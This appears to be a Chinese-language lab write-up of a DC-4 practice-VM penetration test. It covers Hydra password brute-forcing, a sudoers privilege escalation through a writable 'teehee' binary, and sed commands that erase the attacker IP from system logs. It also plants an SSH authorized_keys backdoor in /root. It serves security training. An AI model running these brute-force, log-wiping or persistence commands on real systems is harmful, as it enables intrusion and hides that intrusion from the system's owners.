1. DC-4靶机渗透实战:从信息搜集到权限提升的全过程解析
作为一名网络安全从业者,我最近在练习DC系列靶机时遇到了DC-4这个有趣的挑战。相比DC-3,它的难度有所降低,但对信息搜集能力提出了更高要求。下面我将详细记录整个渗透过程,特别是一些关键节点的突破思路和实用技巧。
1.1 初始信息搜集与突破口选择
开始任何渗透测试前,信息搜集都是最关键的第一步。我首先使用nmap对目标网络进行扫描:
nmap -sn 10.254.85.0/24 # 发现活跃主机 nmap -sV -p- 10.254.85.123 # 全面扫描目标端口和服务扫描结果显示目标开放了SSH服务(22端口)和一个Web服务(80端口)。访问Web界面发现是个简单的登录页面,没有其他明显功能点。
经验之谈:在只有登录界面的情况下,我通常会先尝试以下方法:
- 查看页面源代码寻找线索
- 使用常见目录扫描工具(如dirsearch)探测隐藏路径
- 检查是否有明显的CMS或框架特征
1.2 Web应用弱口令爆破实战
目录扫描没有发现特别有价值的信息后,我决定尝试弱口令爆破。这里有几个关键决策点:
- 用户名选择:在没有其他线索时,"admin"是最常见的默认用户名
- 密码字典选择:使用经过验证的rockyou.txt字典
- 爆破工具选择:Hydra是这类任务的可靠选择
具体爆破命令如下:
hydra -l admin -P rockyou.txt 10.254.85.123 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F参数解析:
-l admin:指定用户名-P rockyou.txt:指定密码字典http-post-form:指定使用HTTP POST表单方式S=logout:设置成功登录的标志(页面出现logout字样)
经过一段时间爆破,成功获取到凭证:admin/happy。这个组合虽然简单,但在实际环境中仍经常出现。
2. 深入系统内部的权限提升之路
2.1 从Web后台到系统访问
登录后台后,发现是个简单的命令执行界面。通过Burp Suite拦截请求,可以修改参数执行任意命令:
# 查找可能包含敏感信息的文件 find / -iname "*password*" 2>/dev/null这个命令发现了两个关键文件:
/home/jim/backups/old-passwords.bak(备份文件)- 其他一些可能包含密码信息的文件
查看/etc/passwd确认系统存在三个用户:root、jim和charles。通过查看jim的备份文件,获取到一组历史密码。
2.2 SSH爆破与用户切换
有了可能的密码列表,下一步就是尝试SSH登录:
hydra -l jim -P passwd.txt ssh://10.254.85.123成功爆破出jim的密码:jibril04。通过SSH登录后,系统提示有新邮件,这引导我们查找邮件文件。
重要技巧:Linux系统中用户邮件通常存储在/var/mail或/var/spool/mail目录下,文件名与用户名相同。这个知识点在实际渗透中非常有用。
2.3 利用邮件信息横向移动
查看jim的邮件发现重要信息:charles用户要去休假,并留下了他的账户密码。这使我们能够切换到charles用户:
su charles # 输入邮件中提供的密码切换到charles后,检查sudo权限:
sudo -l发现charles可以无密码执行/usr/bin/teehee命令。这个命令类似于tee,可以用于文件写入。
3. 权限提升与系统控制
3.1 利用sudo权限漏洞提权
通过分析,我们可以利用teehee的写入权限修改/etc/sudoers文件:
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers这条命令的作用是:
- 输出sudoers配置规则
- 通过管道传递给teehee命令
- 以sudo权限追加到/etc/sudoers文件
现在charles可以无密码执行任何sudo命令,直接获取root权限:
sudo su root3.2 后渗透阶段:痕迹清理
获得root权限后,应当清理渗透痕迹。主要清理以下几类日志:
Web日志清理:
sed -i '/10.254.85.123/d' /var/log/nginx/access.log sed -i '/10.254.85.123/d' /var/log/nginx/error.log系统日志清理:
sed -i '/10.254.85.123/d' /var/log/auth.log sed -i '/10.254.85.123/d' /var/log/syslog历史记录清理:
history -c set +o history # 临时禁用历史记录4. SSH持久化后门技术详解
4.1 密钥对生成与配置
在攻击机上生成专用密钥对:
cd ~/.ssh ssh-keygen -t rsa -b 4096 -f dc4_backdoor # 不设置密码将公钥写入目标的authorized_keys文件:
mkdir -p /root/.ssh chmod 700 /root/.ssh echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys4.2 SSH认证原理深度解析
SSH公钥认证的核心是非对称加密:
- 客户端持有私钥,服务器存储公钥
- 认证时,服务器发送随机挑战
- 客户端用私钥签名后返回
- 服务器用公钥验证签名
这种机制的安全优势在于:
- 私钥始终不离开客户端
- 每次认证使用不同的随机数,防止重放攻击
- 数学上难以从公钥推导私钥
4.3 权限设置的重要性
正确的文件权限对SSH认证至关重要:
.ssh目录应为700(仅所有者可读写执行)authorized_keys文件应为600(仅所有者可读写)- 权限不当会导致SSH拒绝使用密钥认证
5. 渗透测试经验总结与反思
这次DC-4靶机渗透过程中,有几个关键点值得注意:
- 信息搜集的全面性:从Web登录到系统内部,每个环节都需要仔细寻找线索
- 密码重用问题:用户在不同服务间重用密码是常见弱点
- 权限配置错误:不当的sudo配置是提权的常见突破口
- 日志清理的必要性:完整的渗透流程应包括痕迹清理
在实际工作中,渗透测试完成后应当提供详细的安全加固建议,帮助客户修复发现的问题。这次练习再次验证了一个真理:充分的信息搜集是成功渗透的基础。正如安全领域那句名言所说:"最好的漏洞扫描器是你大脑,而燃料是充分的信息"。
通过这次靶机练习,我不仅巩固了常见渗透技术,更重要的是培养了系统性思考的能力。每个环节的突破都建立在对前一步信息的充分利用上,这种串联思维在实际工作中至关重要。